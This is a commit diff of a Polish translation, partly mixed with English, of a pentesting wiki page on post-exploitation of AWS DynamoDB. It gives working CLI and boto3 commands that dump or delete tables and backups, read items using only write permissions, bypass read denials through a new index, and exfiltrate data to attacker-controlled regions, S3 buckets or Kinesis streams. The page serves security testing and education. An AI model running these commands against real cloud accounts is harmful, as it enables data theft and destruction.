mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+270
-36
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
|
||||
Atakujący z tymi uprawnieniami będzie w stanie **pobrać elementy z tabel po kluczu głównym** (nie można po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (można je uzyskać, pobierając metadane tabeli przy pomocy `describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potential Impact:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania:
|
||||
**Podobnie do poprzednich uprawnień** pozwala to potencjalnemu atakującemu odczytać wartości z tylko jednej tabeli, znając klucz główny wpisu do pobrania:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Z tymi uprawnieniami możliwe jest również użycie metody **`transact-get-items`** w następujący sposób:
|
||||
Z tym uprawnieniem możliwe jest również użycie metody **`transact-get-items`** w taki sposób:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie w tabeli wrażliwych informacji
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.
|
||||
**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu odczytać wartości z tylko 1 tabeli, pod warunkiem podania klucza głównego żądanego wpisu. Pozwala użyć [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedyne porównanie dozwolone dla klucza głównego (który musi wystąpić) to "EQ", więc nie można użyć porównania, aby pobrać całą bazę danych w jednym żądaniu.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,11 +107,11 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie poufnych informacji w tabeli
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
|
||||
Możesz użyć tego uprawnienia, aby **łatwo dumpować całą tabelę**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
@@ -119,23 +119,23 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
|
||||
Możesz użyć tego uprawnienia, aby **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
To uprawnienie pozwala również na wykonanie `batch-execute-statement`, takie jak:
|
||||
To uprawnienie pozwala również wykonać `batch-execute-statement` takie jak:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ale musisz określić klucz główny z wartością, więc nie jest to zbyt przydatne.
|
||||
ale musisz podać klucz główny z wartością, więc nie jest to zbyt przydatne.
|
||||
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potential Impact:** Pośredni privesc poprzez zlokalizowanie poufnych informacji w tabeli
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
To uprawnienie pozwoli atakującemu na **eksport całej tabeli do wybranego przez niego koszyka S3:**
|
||||
To uprawnienie pozwoli atakującemu **export the whole table to a S3 bucket** wybranego przez niego:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Zauważ, że aby to zadziałało, tabela musi mieć włączoną funkcję odzyskiwania w czasie rzeczywistym, możesz sprawdzić, czy tabela ją ma, używając:
|
||||
Uwaga: aby to zadziałało, tabela musi mieć włączone point-in-time-recovery, możesz sprawdzić, czy tabela je ma za pomocą:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Jeśli nie jest włączona, musisz **włączyć ją** i do tego potrzebujesz uprawnienia **`dynamodb:ExportTableToPointInTime`**:
|
||||
Jeśli to nie jest włączone, musisz je **włączyć**, a do tego potrzebujesz uprawnienia **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
|
||||
**Potencjalny wpływ:** Indirect privesc przez zlokalizowanie wrażliwych informacji w tabeli
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Dzięki tym uprawnieniom, atakujący mógłby **utworzyć nową tabelę z kopii zapasowej** (lub nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, z odpowiednimi uprawnieniami, mógłby sprawdzić **informacje** z kopii zapasowych, które **mogłyby już nie znajdować się w tabeli produkcyjnej**.
|
||||
Dysponując tymi uprawnieniami, atakujący mógłby **utworzyć nową tabelę z kopii zapasowej** (a nawet utworzyć kopię zapasową, aby następnie odtworzyć ją w innej tabeli). Następnie, przy odpowiednich uprawnieniach, mógłby sprawdzić **informacje** z kopii zapasowych, które **nie znajdują się już w tabeli produkcyjnej**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli
|
||||
**Potencjalny wpływ:** Pośrednie privesc przez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
To uprawnienie pozwala użytkownikom dodać **nowy element do tabeli lub zastąpić istniejący element** nowym elementem. Jeśli element o tym samym kluczu głównym już istnieje, **cały element zostanie zastąpiony** nowym elementem. Jeśli klucz główny nie istnieje, nowy element z określonym kluczem głównym zostanie **utworzony**.
|
||||
To uprawnienie pozwala użytkownikom dodać **nowy wpis do tabeli lub zastąpić istniejący wpis** nowym wpisem. Jeśli wpis z tym samym kluczem głównym już istnieje, **cały wpis zostanie zastąpiony** nowym wpisem. Jeśli klucz główny nie istnieje, zostanie **utworzony** nowy wpis z określonym kluczem głównym.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
**Potential Impact:** Wykorzystanie kolejnych podatności/obejść przez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
To uprawnienie pozwala użytkownikom na **modyfikację istniejących atrybutów przedmiotu lub dodawanie nowych atrybutów do przedmiotu**. Nie **zastępuje** całego przedmiotu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy przedmiot** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
|
||||
This permission allows users to **modyfikować istniejące atrybuty elementu lub dodawać nowe atrybuty do elementu**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **utworzy nowy element** with the specified primary key and set the attributes specified in the update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,62 +242,296 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypasów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
**Potential Impact:** Wykorzystanie dalszych podatności/bypasses poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Napastnik z tym uprawnieniem może **usunąć tabelę DynamoDB, powodując utratę danych**.
|
||||
Atakujący posiadający to uprawnienie może **usunąć tabelę DynamoDB, powodując utratę danych**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ**: Utrata danych i zakłócenie usług opartych na usuniętej tabeli.
|
||||
**Potencjalny wpływ**: Utrata danych i zakłócenie usług opierających się na usuniętej tabeli.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Atakujący z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w przypadku scenariusza odzyskiwania po awarii**.
|
||||
Atakujący posiadający to uprawnienie może **usunąć kopię zapasową DynamoDB, co potencjalnie może spowodować utratę danych w scenariuszu odzyskiwania po awarii**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ**: Utrata danych i niemożność odzyskania ich z kopii zapasowej w scenariuszu odzyskiwania po awarii.
|
||||
**Potencjalny wpływ**: Utrata danych i niemożność przywrócenia z kopii zapasowej w scenariuszu odzyskiwania po awarii.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować, czy to rzeczywiście działa
|
||||
> TODO: Przetestować, czy to faktycznie działa
|
||||
|
||||
Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
|
||||
Atakujący z tymi uprawnieniami może **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Pozwala to atakującemu monitorować i exfiltrate zmiany w danych, co może prowadzić do data leakage.
|
||||
|
||||
1. Włącz strumień na tabeli DynamoDB:
|
||||
1. Włącz stream na tabeli DynamoDB:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Opisz strumień, aby uzyskać ARN i inne szczegóły:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Uzyskaj iterator shardów za pomocą ARN strumienia:
|
||||
3. Pobierz shard iterator używając ARN strumienia:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Użyj iteratora shard, aby uzyskać dostęp do danych i wyeksportować je ze strumienia:
|
||||
4. Użyj shard iterator, aby uzyskać dostęp i exfiltrate danych ze streamu:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potencjalny wpływ**: Monitorowanie w czasie rzeczywistym i wyciek danych dotyczących zmian w tabeli DynamoDB.
|
||||
**Potencjalny wpływ**: Monitorowanie w czasie rzeczywistym i data leakage zmian tabeli DynamoDB.
|
||||
|
||||
### Odczyt elementów za pomocą `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
|
||||
|
||||
Atakujący mający jedynie uprawnienie `dynamodb:UpdateItem` do tabeli może odczytywać elementy bez zwykłych uprawnień odczytu (`GetItem`/`Query`/`Scan`) poprzez wykonanie nieszkodliwej aktualizacji i żądanie `--return-values ALL_OLD`. DynamoDB zwróci pełny obraz elementu sprzed aktualizacji w polu `Attributes` odpowiedzi (to nie zużywa RCUs).
|
||||
|
||||
- Minimalne uprawnienia: `dynamodb:UpdateItem` dla docelowej tabeli/klucza.
|
||||
- Wymagania wstępne: Musisz znać klucz główny elementu.
|
||||
|
||||
Przykład (dodaje nieszkodliwy atrybut i exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Odpowiedź CLI będzie zawierać blok `Attributes` zawierający kompletny poprzedni element (wszystkie atrybuty), efektywnie zapewniając prymityw odczytu przy dostępie tylko do zapisu.
|
||||
|
||||
**Potencjalny wpływ:** Odczyt dowolnych elementów z tabeli mając jedynie uprawnienia do zapisu, co umożliwia eksfiltrację danych wrażliwych, gdy znane są klucze główne.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Dyskretna eksfiltracja poprzez dodanie nowego regionu repliki do DynamoDB Global Table (wersja 2019.11.21). Jeśli principal może dodać replikę regionalną, cała tabela zostanie zreplikowana do regionu wybranego przez atakującego, z którego atakujący może odczytać wszystkie elementy.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Uprawnienia: `dynamodb:UpdateTable` (with `replica-updates`) lub `dynamodb:CreateTableReplica` na docelowej tabeli. Jeśli w replika używany jest CMK, mogą być wymagane uprawnienia KMS dla tego klucza.
|
||||
|
||||
Potencjalny wpływ: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Atakujący z uprawnieniami do transactional write może wyekfiltrować pełne atrybuty istniejącego itemu, wykonując `Update` wewnątrz `TransactWriteItems`, który celowo powoduje niepowodzenie `ConditionExpression` przy ustawionym `ReturnValuesOnConditionCheckFailure=ALL_OLD`. W przypadku niepowodzenia DynamoDB dołącza poprzednie atrybuty w powodach anulowania transakcji, efektywnie zamieniając dostęp jedynie do zapisu w dostęp do odczytu wybranych kluczy.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potential Impact: Odczyt dowolnych elementów (po kluczu głównym) z tabeli używając wyłącznie uprawnień do zapisu transakcyjnego poprzez zwracane powody anulowania.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` na GSI
|
||||
|
||||
Omijanie ograniczeń odczytu poprzez utworzenie Global Secondary Index (GSI) z `ProjectionType=ALL` na atrybucie o niskiej entropii, ustawienie tego atrybutu na stałą wartość w elementach, a następnie `Query` indeksu, aby pobrać pełne elementy. Działa to nawet jeśli `Query`/`Scan` na tabeli bazowej jest zabronione, pod warunkiem że możesz wykonać `Query` na ARN indeksu.
|
||||
|
||||
- Minimalne uprawnienia:
|
||||
- `dynamodb:UpdateTable` on the target table (aby utworzyć GSI z `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (aby ustawić indeksowany atrybut dla każdego elementu).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Kroki (PoC w us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potencjalny wpływ:** Pełna eksfiltracja tabeli poprzez zapytania do nowo utworzonego GSI, który zwraca wszystkie atrybuty, nawet gdy podstawowe API odczytu tabeli są odmówione.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Ciągła eksfiltracja za pomocą Kinesis Data Streams)
|
||||
|
||||
Wykorzystywanie DynamoDB Kinesis streaming destinations do ciągłej eksfiltracji zmian z tabeli do kontrolowanego przez atakującego Kinesis Data Stream. Po włączeniu każde zdarzenie INSERT/MODIFY/REMOVE jest przekazywane niemal w czasie rzeczywistym do strumienia bez potrzeby posiadania uprawnień do odczytu tabeli.
|
||||
|
||||
Minimalne uprawnienia (atakujący):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` na docelowej tabeli
|
||||
- Opcjonalnie `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` aby monitorować status
|
||||
- Uprawnienia do odczytu na kontrolowanym przez atakującego strumieniu Kinesis, aby pobierać rekordy: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Potencjalny wpływ:** Ciągła, niemal w czasie rzeczywistym exfiltration zmian z tabeli do strumienia Kinesis kontrolowanego przez atakującego, bez wykonywania bezpośrednich operacji odczytu na tabeli.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user